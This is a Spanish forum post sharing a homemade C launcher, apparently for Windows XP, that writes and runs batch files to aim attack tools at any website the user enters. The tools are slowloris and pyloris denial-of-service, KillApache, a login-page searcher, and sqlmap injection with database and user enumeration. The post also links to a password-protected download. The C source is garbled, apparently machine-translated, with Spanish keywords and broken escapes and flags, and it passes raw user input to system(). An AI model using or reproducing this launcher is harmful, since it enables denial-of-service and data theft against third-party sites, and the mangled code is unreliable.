hola hoy les traigo un software echo por mi en C con subprocesos en bath, espero les agrade. bueno les dejare un video
como han podido apreciar en el vídeo, el programa esta echo en bajo la plataforma de windows XP, pero es adaptable solo as de descargar las versiones correspondientes de python y perl para tu S.O (windows)...
Como vieron el programita trata de hacer automático todas aquellas tool's, solo pones la pagina y se hace el proceso y te evita el tener darle escritura a comandos de procesos.
aqui la descarga: http://www.mediafire.com/?rk8reib5sywbusp
password: cyberlocos.net
bueno, ese fue el de windows e aqui el proyecto en GUI para linux este es un avance.
(http://i45.tinypic.com/51byi1.png)
espero criticas constructivas e ideas...
este es el código de la N3T de windows... errores correspondiente :D para encontrar y sea mas divertido
# Include <fstream>
# Include <iostream>
# Include <windows.h>
# Include <stdlib.h>
int main () {
FILE * cyberlocos;
int selector, selectorinter, selectorherramientas;
caracteres Comando [100];
pagina char [40];
charlas usuario [20];
sistema ("color 1a");
printf ("\ t \ t \ t \ t \ t \ t | cyberlocos.net \ t |");
printf ("\ t \ t \ t \ t \ t \ t \ t ------------------------- \ n");
printf ("\ nusuario>");
scanf ("% s", & usuario);
printf ("\ n \ t \ t \ t --------------------------");
printf ("\ n \ t \ t \ t \ tCL-SECURITY \ n");
printf ("\ t \ t \ t -------------------------- \ n \ n");
printf ("\ tantes de Empezar un USAR ESTA Maravillosa debemos Instalar los \ n \ Lenguajes tsiguientes: \ n \ n");
printf ("Nota: Windows 32 bytes \ n \ n");
printf ("\ t \ t \ t 1: perl \ n");
printf ("\ t \ t \ t2: python \ n");
printf ("\ t \ t \ t 0: NO \ n \ n");
printf ("% s @ CL-> Seguridad", usuario);
scanf ("% d", & selectorherramientas);
mientras que (selectorherramientas! = 0) {
mientras que (selectorherramientas == 1) {
cyberlocos = fopen ("perl.bat", "w");
printf ("% s-perl @ CL-Security>");
if (cyberlocos == NULL) perror ("Error al leer Archivo, consulte El Equipo cyberlocos con \ n");
else {
fprintf (cyberlocos ", ActivePerl.msi");
}
fclose (cyberlocos);
sistema ("perl.bat");
printf ("% s @ CL-> Seguridad", usuario);
scanf ("% d", & selectorherramientas);
}
if (selectorherramientas == 2) {
printf ("python | | CL-Security>");
sistema ("ActivePython.msi");
}
printf ("% s @ CL-> Seguridad", usuario);
scanf ("% d", & selectorherramientas);
}
printf ("\ t \ t \ t1: DDOS slowloris \ n");
printf ("\ t \ t \ t2: píloro \ n");
printf ("\ t \ t \ t3: sqlmap \ n");
printf ("\ t \ t \ t4: login searh \ n");
printf ("\ t \ t \ t5: KillApache \ n");
printf ("\ t \ t____________________________ \ n \ n");
printf ("% s @ CL-> Seguridad", usuario);
scanf ("% d", & selector);
if (selector == 1) {
cyberlocos = fopen ("slowproces.bat", "w");
if (cyberlocos == NULL) perror ("Error al leer Archivo, consulte El Equipo cyberlocos con \ n");
else {
printf ("\ n% s-slowloris @ CL-> Seguridad", usuario);
scanf ("% s", & Comando);
getchar ();
fprintf (cyberlocos ", slowloris.pl-dns-puerto% s 80-1-timeout número 5000-tcpto 5", Comando);
}
fclose (cyberlocos);
sistema ("slowproces.bat");
}
if (selector == 2)
if (cyberlocos == NULL) perror ("Error al leer Archivo, consulte El Equipo cyberlocos con \ n");
else {
printf ("\ n% s-píloro @ CL-> Seguridad", usuario);
sistema ("pyloris.py");
getchar ();
}
si (selector == 3) {
mientras que (selectorinter! = 0) {
printf ("\ t1 Buscar Una inyeccion en el parametro \ n.").;
printf ("\ t2 Buscar bases de Datos existentes \ n.").;
printf ("\ t3 Buscar Usuarios Dentro de la tabla \ n.").;
printf ("\ t4 agregar Comando \ n.").;
printf ("\ n% s-sqlmap @ CL-> Seguridad", usuario);
scanf ("% d", & selectorinter);
si (selectorinter == 1) {
cyberlocos = fopen ("procesos.bat", "w");
if (cyberlocos == NULL) perror ("Error al abrir Archivo");
else {
printf ("% s-sqlmap @ CL-> Seguridad", usuario);
scanf ("% s", & pagina);
fprintf (cyberlocos, "cd sqlmap / \ ninicial sqlmap.py-u% s", pagina);
}
fclose (cyberlocos);
getchar ();
sistema ("procesos.bat");
printf ("% s @ CL-> Seguridad", usuario);
scanf ("% d", & selectorinter);
}
//---------------------------------------------------------------------------------------------------------
if (selectorinter == 2) {
cyberlocos = fopen ("procesos.bat", "w");
if (cyberlocos == NULL) perror ("Error al abrir Archivo");
else {
printf ("% s-sqlmap @ CL-> Seguridad", usuario);
scanf ("% s", & pagina);
fprintf (cyberlocos, "cd sqlmap / \ ninicial sqlmap.py-u% s - current-db", pagina);
}
fclose (cyberlocos);
getchar ();
sistema ("procesos.bat");
}
si (selectorinter == 3) {
cyberlocos = fopen ("procesos.bat", "w");
if (cyberlocos == NULL) perror ("Error al abrir Archivo");
else {
printf ("% s-sqlmap @ CL-> Seguridad", usuario);
scanf ("% s", & pagina);
fprintf (cyberlocos, "cd sqlmap / \ ninicial sqlmap.py-u% s - dbs - los usuarios", pagina);
}
fclose (cyberlocos);
getchar ();
sistema ("procesos.bat");
}
//-------------------------------------------------------------------------------------------------------------------
if (selectorinter == 4) {
cyberlocos = fopen ("sqligree.bat", "w");
if (cyberlocos == NULL) perror ("Error al abrir Archivo");
else {
printf ("% s-sqlmap @ CL-> Seguridad", usuario);
gets (Comando);
fprintf (cyberlocos, "% s", Comando);
}
fclose (cyberlocos);
getchar ();
sistema ("sqligree.bat");
}
}
}
if (selector == 4) {
cyberlocos = fopen ("loggin.bat", "w");
if (cyberlocos == NULL) perror ("Error al leer Archivo, consulte El Equipo cyberlocos con \ n");
else {
printf ("\ n% s-slowloris @ CL-> Seguridad", usuario);
scanf ("% s", & pagina);
fprintf (cyberlocos ", login_search.pl% s", pagina);
}
fclose (cyberlocos);
sistema ("loggin.bat");
}
if (selector == 5) {
cyberlocos = fopen ("killapache.bat", "w");
if (cyberlocos == NULL) perror ("Error al leer Archivo, consulte El Equipo cyberlocos con \ n");
else {
printf ("\ n% s-Killapache @ CL-> Seguridad", usuario);
scanf ("% s", & pagina);
fprintf (cyberlocos ", killapache.pl-w% s 50", pagina);
}
fclose (cyberlocos);
sistema ("killapache.bat");
}
getchar ();
}